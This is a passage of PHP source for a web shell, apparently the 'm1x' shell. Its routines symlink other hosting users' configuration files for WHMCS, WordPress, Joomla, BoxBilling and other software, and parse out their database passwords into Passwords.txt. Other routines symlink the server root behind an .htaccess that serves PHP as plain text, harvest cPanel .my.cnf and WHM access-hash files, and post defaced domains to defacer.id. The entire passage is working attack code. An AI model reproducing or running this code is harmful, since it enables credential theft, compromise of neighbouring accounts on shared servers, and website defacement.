2248@symlink('/home4/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
2249@symlink('/home4/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
2250@symlink('/home4/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
2251@symlink('/home4/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
2252@symlink('/home4/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
2253@symlink('/home4/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
2254@symlink('/home4/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
2255@symlink('/home4/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
2256@symlink('/home4/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
2257@symlink('/home4/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
2258@symlink('/home4/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
2259@symlink('/home4/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
2260@symlink('/home4/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
2261@symlink('/home4/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
2262@symlink('/home4/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
2263@symlink('/home4/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
2264@symlink('/home4/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
2265@symlink('/home4/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
2266@symlink('/home4/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
2267@symlink('/home4/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
2268@symlink('/home4/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
2269@symlink('/home4/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
2270@symlink('/home4/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
2271@symlink('/home4/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
2272@symlink('/home4/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
2273@symlink('/home4/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
2274@symlink('/home4/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
2275@symlink('/home4/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
2276@symlink('/home4/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
2277@symlink('/home4/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
2278@symlink('/home4/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
2279@symlink('/home4/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
2280@symlink('/home4/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
2281@symlink('/home4/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
2282@symlink('/home4/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
2283@symlink('/home4/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
2284@symlink('/home4/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
2285@symlink('/home4/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
2286@symlink('/home4/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
2287@symlink('/home4/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
2288@symlink('/home4/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
2289@symlink('/home4/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
2290@symlink('/home4/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
2291@symlink('/home4/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
2292@symlink('/home4/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
2293@symlink('/home4/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
2294@symlink('/home4/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
2295@symlink('/home4/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
2296@symlink('/home4/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
2297@symlink('/home4/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
2298@symlink('/home4/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
2299@symlink('/home4/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
2300@symlink('/home4/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
2301@symlink('/home4/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
2302@symlink('/home4/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
2303@symlink('/home4/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
2304@symlink('/home4/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
2305@symlink('/home4/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
2306@symlink('/home4/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
2307@symlink('/home4/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
2308@symlink('/home4/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
2309@symlink('/home4/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
2310@symlink('/home4/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
2311@symlink('/home4/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
2312@symlink('/home4/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
2313@symlink('/home4/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
2314@symlink('/home4/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
2315@symlink('/home4/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
2316@symlink('/home4/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
2317@symlink('/home4/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
2318@symlink('/home4/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
2319@symlink('/home4/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
2320@symlink('/home4/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
2321@symlink('/home4/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
2322@symlink('/home4/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
2323@symlink('/home4/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
2324@symlink('/home4/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
2325@symlink('/home4/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
2326@symlink('/home4/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
2327@symlink('/home4/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
2328@symlink('/home4/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
2329@symlink('/home4/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
2330@symlink('/home4/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
2331
2332}
2333
2334//password grab
2335
2336function entre2v2($text,$marqueurDebutLien,$marqueurFinLien)
2337{
2338
2339$ar0=explode($marqueurDebutLien, $text);
2340$ar1=explode($marqueurFinLien, $ar0[1]);
2341$ar=trim($ar1[0]);
2342return $ar;
2343}
2344
2345$ffile=fopen('Passwords.txt','a+');
2346
2347
2348$r= 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME'])."/m1x_config2/";
2349$re=$r;
2350$confi=array("-Wordpress.txt","-Joomla.txt","-WHMCS.txt","-Vbulletin.txt","-Other.txt","-Zencart.txt","-Hostbills.txt","-SMF.txt","-Drupal.txt","-OsCommerce.txt","-MyBB.txt","-PHPBB.txt","-IPB.txt","-BoxBilling.txt");
2351
2352$users=file("/etc/passwd");
2353foreach($users as $user)
2354{
2355
2356$str=explode(":",$user);
2357$usersss=$str[0];
2358foreach($confi as $co)
2359{
2360
2361
2362$uurl=$re.$usersss.$co;
2363$uel=$uurl;
2364
2365$ch = curl_init();
2366
2367curl_setopt($ch, CURLOPT_URL, $uel);
2368curl_setopt($ch, CURLOPT_HEADER, 1);
2369curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2370curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
2371curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');
2372$result['EXE'] = curl_exec($ch);
2373curl_close($ch);
2374$uxl=$result['EXE'];
2375
2376
2377if($uxl && preg_match('/table_prefix/i',$uxl))
2378{
2379
2380//Wordpress
2381
2382$dbp=entre2v2($uxl,"DB_PASSWORD', '","');");
2383if(!empty($dbp))
2384$pass=$dbp."\n";
2385fwrite($ffile,$pass);
2386
2387}
2388elseif($uxl && preg_match('/cc_encryption_hash/i',$uxl))
2389{
2390
2391//WHMCS
2392
2393$dbp=entre2v2($uxl,"db_password = '","';");
2394if(!empty($dbp))
2395$pass=$dbp."\n";
2396fwrite($ffile,$pass);
2397
2398}
2399
2400
2401elseif($uxl && preg_match('/dbprefix/i',$uxl))
2402{
2403
2404//Joomla
2405
2406$db=entre2v2($uxl,"password = '","';");
2407if(!empty($db))
2408$pass=$db."\n";
2409fwrite($ffile,$pass);
2410}
2411elseif($uxl && preg_match('/admincpdir/i',$uxl))
2412{
2413
2414//Vbulletin
2415
2416$db=entre2v2($uxl,"password'] = '","';");
2417if(!empty($db))
2418$pass=$db."\n";
2419fwrite($ffile,$pass);
2420
2421}
2422elseif($uxl && preg_match('/DB_DATABASE/i',$uxl))
2423{
2424
2425//Other
2426
2427$db=entre2v2($uxl,"DB_PASSWORD', '","');");
2428if(!empty($db))
2429$pass=$db."\n";
2430fwrite($ffile,$pass);
2431}
2432elseif($uxl && preg_match('/dbpass/i',$uxl))
2433{
2434
2435//Other
2436
2437$db=entre2v2($uxl,"dbpass = '","';");
2438if(!empty($db))
2439$pass=$db."\n";
2440fwrite($ffile,$pass);
2441}
2442elseif($uxl && preg_match('/dbpass/i',$uxl))
2443{
2444
2445//Other
2446
2447$db=entre2v2($uxl,"dbpass = '","';");
2448if(!empty($db))
2449$pass=$db."\n";
2450fwrite($ffile,$pass);
2451
2452}
2453elseif($uxl && preg_match('/dbpass/i',$uxl))
2454{
2455
2456//Other
2457
2458$db=entre2v2($uxl,"dbpass = \"","\";");
2459if(!empty($db))
2460$pass=$db."\n";
2461fwrite($ffile,$pass);
2462}
2463
2464
2465}
2466}
2467echo "<center>
2468<a href=\"m1x_config2/root/\">Root Server</a>
2469<br><a href=\"m1x_config2/Passwords.txt\">Passwords</a>
2470<br><a href=\"m1x_config2/\">Configurations</a></center>";
2471}
2472else
2473{
2474echo "<center>
2475<form method=\"POST\">
2476<textarea name=\"passwd\" class='area' rows='15' cols='60'>";
2477$file = '/etc/passwd';
2478$read = @fopen($file, 'r');
2479if ($read){
2480$body = @fread($read, @filesize($file));
2481echo "".htmlentities($body)."";
2482}
2483elseif(!$read)
2484{
2485$read = @show_source($file) ;
2486}
2487elseif(!$read)
2488{
2489$read = @highlight_file($file);
2490}
2491elseif(!$read)
2492{
2493for($uid=0;$uid<1000;$uid++)
2494{
2495$ara = posix_getpwuid($uid);
2496if (!empty($ara))
2497{
2498while (list ($key, $val) = each($ara))
2499{
2500print "$val:";
2501}
2502print "\n";
2503}}}
2504
2505flush();
2506
2507echo "</textarea>
2508<p><input name=\"m\" size=\"80\" value=\"Start\" type=\"submit\"/></p>
2509</form></center>";
2510}
2511}
2512}
2513elseif($_GET['do'] == 'symlink') {
2514$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
2515$d0mains = @file("/etc/named.conf");
2516##httaces
2517if($d0mains){
2518@mkdir("m1x_isine",0777);
2519@chdir("m1x_isine");
2520@exe("ln -s / root");
2521$file3 = 'Options Indexes FollowSymLinks
2522DirectoryIndex m1x.htm
2523AddType text/plain .php
2524AddHandler text/plain .php
2525Satisfy Any';
2526$fp3 = fopen('.htaccess','w');
2527$fw3 = fwrite($fp3,$file3);@fclose($fp3);
2528echo "
2529<table align=center border=1 style='width:60%;border-color:#333333;'>
2530<tr>
2531<td align=center><font size=2>S. No.</font></td>
2532<td align=center><font size=2>Domains</font></td>
2533<td align=center><font size=2>Users</font></td>
2534<td align=center><font size=2>Symlink</font></td>
2535</tr>";
2536$dcount = 1;
2537foreach($d0mains as $d0main){
2538if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
2539flush();
2540if(strlen(trim($domains[1][0])) > 2){
2541$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
2542echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
2543<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
2544<td>".$user['name']."</td>
2545<td><a href='$full/m1x_isine/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
2546flush();
2547$dcount++;}}}
2548echo "</table>";
2549}else{
2550$TEST=@file('/etc/passwd');
2551if ($TEST){
2552@mkdir("m1x_isine",0777);
2553@chdir("m1x_isine");
2554exe("ln -s / root");
2555$file3 = 'Options Indexes FollowSymLinks
2556DirectoryIndex m1x.htm
2557AddType text/plain .php
2558AddHandler text/plain .php
2559Satisfy Any';
2560 $fp3 = fopen('.htaccess','w');
2561 $fw3 = fwrite($fp3,$file3);
2562 @fclose($fp3);
2563 echo "
2564 <table align=center border=1><tr>
2565 <td align=center><font size=3>S. No.</font></td>
2566 <td align=center><font size=3>Users</font></td>
2567 <td align=center><font size=3>Symlink</font></td></tr>";
2568 $dcount = 1;
2569 $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
2570 while(!feof($file)){
2571 $s = fgets($file);
2572 $matches = array();
2573 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
2574 $matches = str_replace("home/","",$matches[1]);
2575 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
2576 continue;
2577 echo "<tr><td align=center><font size=2>" . $dcount . "</td>
2578 <td align=center><font class=txt>" . $matches . "</td>";
2579 echo "<td align=center><font class=txt><a href=$full/m1x_isine/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
2580 $dcount++;}fclose($file);
2581 echo "</table>";}else{if($os != "Windows"){@mkdir("m1x_isine",0777);@chdir("m1x_isine");@exe("ln -s / root");$file3 = '
2582 Options Indexes FollowSymLinks
2583DirectoryIndex m1x.htm
2584AddType text/plain .php
2585AddHandler text/plain .php
2586Satisfy Any
2587';
2588 $fp3 = fopen('.htaccess','w');
2589 $fw3 = fwrite($fp3,$file3);@fclose($fp3);
2590 echo "
2591 <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
2592 <table align=center border=1><tr>
2593 <td align=center><font size=3>ID</font></td>
2594 <td align=center><font size=3>Users</font></td>
2595 <td align=center><font size=3>Symlink</font></td></tr>";
2596 $temp = "";$val1 = 0;$val2 = 1000;
2597 for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
2598 if ($uid)$temp .= join(':',$uid)."\n";}
2599 echo '<br/>';$temp = trim($temp);$file5 =
2600 fopen("test.txt","w");
2601 fputs($file5,$temp);
2602 fclose($file5);$dcount = 1;$file =
2603 fopen("test.txt", "r") or exit("Unable to open file!");
2604 while(!feof($file)){$s = fgets($file);$matches = array();
2605 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
2606 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
2607 continue;
2608 echo "<tr><td align=center><font size=2>" . $dcount . "</td>
2609 <td align=center><font class=txt>" . $matches . "</td>";
2610 echo "<td align=center><font class=txt><a href=$full/m1x_isine/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
2611 $dcount++;}
2612 fclose($file);
2613 echo "</table></div></center>";unlink("test.txt");
2614 } else
2615 echo "<center><font size=3>Cannot create Symlink</font></center>";
2616 }
2617 }
2618}
2619elseif($_GET['do'] == 'defacerid') {
2620echo "<center><form method='post'>
2621 <u>Defacer</u>: <br>
2622 <input type='text' name='hekel' size='50' value='m1x'><br>
2623 <u>Team</u>: <br>
2624 <input type='text' name='tim' size='50' value='Eldersc0de Family'><br>
2625 <u>Domains</u>: <br>
2626 <textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
2627 <input type='submit' name='go' value='Submit' style='width: 450px;'>
2628 </form>";
2629$site = explode("\r\n", $_POST['sites']);
2630$go = $_POST['go'];
2631$hekel = $_POST['hekel'];
2632$tim = $_POST['tim'];
2633if($go) {
2634foreach($site as $sites) {
2635$zh = $sites;
2636$form_url = "https://www.defacer.id/notify";
2637$data_to_post = array();
2638$data_to_post['attacker'] = "$hekel";
2639$data_to_post['team'] = "$tim";
2640$data_to_post['poc'] = 'SQL Injection';
2641$data_to_post['url'] = "$zh";
2642$curl = curl_init();
2643curl_setopt($curl,CURLOPT_URL, $form_url);
2644curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
2645curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
2646curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
2647curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
2648curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
2649$result = curl_exec($curl);
2650echo $result;
2651curl_close($curl);
2652echo "<br>";
2653}
2654}
2655}
2656
2657elseif($_GET['do'] == 'config') {
2658 if($_POST){
2659 $passwd = $_POST['passwd'];
2660 mkdir("m1x_config1", 0777);
2661 $isi_htc = "Options all\nRequire None\nSatisfy Any";
2662 $htc = fopen("m1x_config1/.htaccess","w");
2663 fwrite($htc, $isi_htc);
2664 preg_match_all('/(.*?):x:/', $passwd, $user_config);
2665 foreach($user_config[1] as $usere_cok) {
2666 $user_config_dir = "/home/$usere_cok/public_html/";
2667 if(is_readable($user_config_dir)) {
2668 $grab_config = array(
2669 "/home/$usere_cok/.my.cnf" => "cpanel",
2670 "/home/$usere_cok/.accesshash" => "WHM-accesshash",
2671 "/home/$usere_cok/public_html/bw-configs/config.ini" => "BosWeb",
2672 "/home/$usere_cok/public_html/config/koneksi.php" => "Lokomedia",
2673 "/home/$usere_cok/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
2674 "/home/$usere_cok/public_html/clientarea/configuration.php" => "WHMCS",
2675 "/home/$usere_cok/public_html/whmcs/configuration.php" => "WHMCS",
2676 "/home/$usere_cok/public_html/forum/config.php" => "phpBB",
2677 "/home/$usere_cok/public_html/sites/default/settings.php" => "Drupal",
2678 "/home/$usere_cok/public_html/config/settings.inc.php" => "PrestaShop",
2679 "/home/$usere_cok/public_html/app/etc/local.xml" => "Magento",
2680 "/home/$usere_cok/public_html/admin/config.php" => "OpenCart",
2681 "/home/$usere_cok/public_html/slconfig.php" => "Sitelok",
2682 "/home/$usere_cok/public_html/application/config/database.php" => "Ellislab",
2683 "/home/$usere_cok/public_html/whm/configuration.php" => "WHMCS",
2684 "/home/$usere_cok/public_html/whmc/WHM/configuration.ph" => "WHMC",
2685 "/home/$usere_cok/public_html/central/configuration.php" => "WHM Central",
2686 "/home/$usere_cok/public_html/whm/WHMCS/configuration.php" => "WHMCS",
2687 "/home/$usere_cok/public_html/whm/whmcs/configuration.php" => "WHMCS",
2688 "/home/$usere_cok/public_html/submitticket.php" => "WHMCS",
2689 "/home/$usere_cok/public_html/configuration.php" => "Joomla",
2690 "/home/$usere_cok/public_html/Joomla/configuration.php" => "JoomlaJoomla",
2691 "/home/$usere_cok/public_html/joomla/configuration.php" => "JoomlaJoomla",
2692 "/home/$usere_cok/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
2693 "/home/$usere_cok/public_html/Home/configuration.php" => "JoomlaHome",
2694 "/home/$usere_cok/public_html/HOME/configuration.php" => "JoomlaHome",
2695 "/home/$usere_cok/public_html/home/configuration.php" => "JoomlaHome",
2696 "/home/$usere_cok/public_html/NEW/configuration.php" => "JoomlaNew",
2697 "/home/$usere_cok/public_html/New/configuration.php" => "JoomlaNew",
2698 "/home/$usere_cok/public_html/new/configuration.php" => "JoomlaNew",
2699 "/home/$usere_cok/public_html/News/configuration.php" => "JoomlaNews",
2700 "/home/$usere_cok/public_html/NEWS/configuration.php" => "JoomlaNews",
2701 "/home/$usere_cok/public_html/news/configuration.php" => "JoomlaNews",
2702 "/home/$usere_cok/public_html/Cms/configuration.php" => "JoomlaCms",
2703 "/home/$usere_cok/public_html/CMS/configuration.php" => "JoomlaCms",
2704 "/home/$usere_cok/public_html/cms/configuration.php" => "JoomlaCms",
2705 "/home/$usere_cok/public_html/Main/configuration.php" => "JoomlaMain",
2706 "/home/$usere_cok/public_html/MAIN/configuration.php" => "JoomlaMain",
2707 "/home/$usere_cok/public_html/main/configuration.php" => "JoomlaMain",
2708 "/home/$usere_cok/public_html/Blog/configuration.php" => "JoomlaBlog",
2709 "/home/$usere_cok/public_html/BLOG/configuration.php" => "JoomlaBlog",
2710 "/home/$usere_cok/public_html/blog/configuration.php" => "JoomlaBlog",
2711 "/home/$usere_cok/public_html/Blogs/configuration.php" => "JoomlaBlogs",
2712 "/home/$usere_cok/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
2713 "/home/$usere_cok/public_html/blogs/configuration.php" => "JoomlaBlogs",
2714 "/home/$usere_cok/public_html/beta/configuration.php" => "JoomlaBeta",
2715 "/home/$usere_cok/public_html/Beta/configuration.php" => "JoomlaBeta",
2716 "/home/$usere_cok/public_html/BETA/configuration.php" => "JoomlaBeta",
2717 "/home/$usere_cok/public_html/PRESS/configuration.php" => "JoomlaPress",
2718 "/home/$usere_cok/public_html/Press/configuration.php" => "JoomlaPress",
2719 "/home/$usere_cok/public_html/press/configuration.php" => "JoomlaPress",
2720 "/home/$usere_cok/public_html/Wp/configuration.php" => "JoomlaWp",
2721 "/home/$usere_cok/public_html/wp/configuration.php" => "JoomlaWp",
2722 "/home/$usere_cok/public_html/WP/configuration.php" => "JoomlaWP",
2723 "/home/$usere_cok/public_html/portal/configuration.php" => "JoomlaPortal",
2724 "/home/$usere_cok/public_html/PORTAL/configuration.php" => "JoomlaPortal",
2725 "/home/$usere_cok/public_html/Portal/configuration.php" => "JoomlaPortal",
2726 "/home/$usere_cok/public_html/wp-config.php" => "WordPress",
2727 "/home/$usere_cok/public_html/wordpress/wp-config.php" => "WordPressWordpress",
2728 "/home/$usere_cok/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
2729 "/home/$usere_cok/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
2730 "/home/$usere_cok/public_html/Home/wp-config.php" => "WordPressHome",
2731 "/home/$usere_cok/public_html/HOME/wp-config.php" => "WordPressHome",
2732 "/home/$usere_cok/public_html/home/wp-config.php" => "WordPressHome",
2733 "/home/$usere_cok/public_html/NEW/wp-config.php" => "WordPressNew",
2734 "/home/$usere_cok/public_html/New/wp-config.php" => "WordPressNew",
2735 "/home/$usere_cok/public_html/new/wp-config.php" => "WordPressNew",
2736 "/home/$usere_cok/public_html/News/wp-config.php" => "WordPressNews",
2737 "/home/$usere_cok/public_html/NEWS/wp-config.php" => "WordPressNews",
2738 "/home/$usere_cok/public_html/news/wp-config.php" => "WordPressNews",
2739 "/home/$usere_cok/public_html/Cms/wp-config.php" => "WordPressCms",
2740 "/home/$usere_cok/public_html/CMS/wp-config.php" => "WordPressCms",
2741 "/home/$usere_cok/public_html/cms/wp-config.php" => "WordPressCms",
2742 "/home/$usere_cok/public_html/Main/wp-config.php" => "WordPressMain",
2743 "/home/$usere_cok/public_html/MAIN/wp-config.php" => "WordPressMain",
2744 "/home/$usere_cok/public_html/main/wp-config.php" => "WordPressMain",
2745 "/home/$usere_cok/public_html/Blog/wp-config.php" => "WordPressBlog",
2746 "/home/$usere_cok/public_html/BLOG/wp-config.php" => "WordPressBlog",
2747 "/home/$usere_cok/public_html/blog/wp-config.php" => "WordPressBlog",
2748 "/home/$usere_cok/public_html/Blogs/wp-config.php" => "WordPressBlogs",
2749 "/home/$usere_cok/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
2750 "/home/$usere_cok/public_html/blogs/wp-config.php" => "WordPressBlogs",
2751 "/home/$usere_cok/public_html/beta/wp-config.php" => "WordPressBeta",
2752 "/home/$usere_cok/public_html/Beta/wp-config.php" => "WordPressBeta",
2753 "/home/$usere_cok/public_html/BETA/wp-config.php" => "WordPressBeta",
2754 "/home/$usere_cok/public_html/PRESS/wp-config.php" => "WordPressPress",
2755 "/home/$usere_cok/public_html/Press/wp-config.php" => "WordPressPress",
2756 "/home/$usere_cok/public_html/press/wp-config.php" => "WordPressPress",
2757 "/home/$usere_cok/public_html/Wp/wp-config.php" => "WordPressWp",
2758 "/home/$usere_cok/public_html/wp/wp-config.php" => "WordPressWp",
2759 "/home/$usere_cok/public_html/WP/wp-config.php" => "WordPressWP",
2760 "/home/$usere_cok/public_html/portal/wp-config.php" => "WordPressPortal",
2761 "/home/$usere_cok/public_html/PORTAL/wp-config.php" => "WordPressPortal",
2762 "/home/$usere_cok/public_html/Portal/wp-config.php" => "WordPressPortal",
2763 "/home1/$usere_cok/.my.cnf" => "cpanel",
2764 "/home1/$usere_cok/.accesshash" => "WHM-accesshash",
2765 "/home1/$usere_cok/public_html/bw-configs/config.ini" => "BosWeb",
2766 "/home1/$usere_cok/public_html/config/koneksi.php" => "Lokomedia",
2767 "/home1/$usere_cok/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
2768 "/home1/$usere_cok/public_html/clientarea/configuration.php" => "WHMCS",
2769 "/home1/$usere_cok/public_html/whmcs/configuration.php" => "WHMCS",
2770 "/home1/$usere_cok/public_html/forum/config.php" => "phpBB",
2771 "/home1/$usere_cok/public_html/sites/default/settings.php" => "Drupal",
2772 "/home1/$usere_cok/public_html/config/settings.inc.php" => "PrestaShop",
2773 "/home1/$usere_cok/public_html/app/etc/local.xml" => "Magento",
2774 "/home1/$usere_cok/public_html/admin/config.php" => "OpenCart",
2775 "/home1/$usere_cok/public_html/slconfig.php" => "Sitelok",
2776 "/home1/$usere_cok/public_html/application/config/database.php" => "Ellislab",
2777 "/home1/$usere_cok/public_html/whm/configuration.php" => "WHMCS",
2778 "/home1/$usere_cok/public_html/whmc/WHM/configuration.ph" => "WHMC",
2779 "/home1/$usere_cok/public_html/central/configuration.php" => "WHM Central",
2780 "/home1/$usere_cok/public_html/whm/WHMCS/configuration.php" => "WHMCS",
2781 "/home1/$usere_cok/public_html/whm/whmcs/configuration.php" => "WHMCS",
2782 "/home1/$usere_cok/public_html/submitticket.php" => "WHMCS",
2783 "/home1/$usere_cok/public_html/configuration.php" => "Joomla",
2784 "/home1/$usere_cok/public_html/Joomla/configuration.php" => "JoomlaJoomla",
2785 "/home1/$usere_cok/public_html/joomla/configuration.php" => "JoomlaJoomla",
2786 "/home1/$usere_cok/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
2787 "/home1/$usere_cok/public_html/Home/configuration.php" => "JoomlaHome",
2788 "/home1/$usere_cok/public_html/HOME/configuration.php" => "JoomlaHome",
2789 "/home1/$usere_cok/public_html/home/configuration.php" => "JoomlaHome",
2790 "/home1/$usere_cok/public_html/NEW/configuration.php" => "JoomlaNew",
2791 "/home1/$usere_cok/public_html/New/configuration.php" => "JoomlaNew",
2792 "/home1/$usere_cok/public_html/new/configuration.php" => "JoomlaNew",
2793 "/home1/$usere_cok/public_html/News/configuration.php" => "JoomlaNews",
2794 "/home1/$usere_cok/public_html/NEWS/configuration.php" => "JoomlaNews",
2795 "/home1/$usere_cok/public_html/news/configuration.php" => "JoomlaNews",
2796 "/home1/$usere_cok/public_html/Cms/configuration.php" => "JoomlaCms",
2797 "/home1/$usere_cok/public_html/CMS/configuration.php" => "JoomlaCms",
2798 "/home1/$usere_cok/public_html/cms/configuration.php" => "JoomlaCms",
2799 "/home1/$usere_cok/public_html/Main/configuration.php" => "JoomlaMain",
2800 "/home1/$usere_cok/public_html/MAIN/configuration.php" => "JoomlaMain",
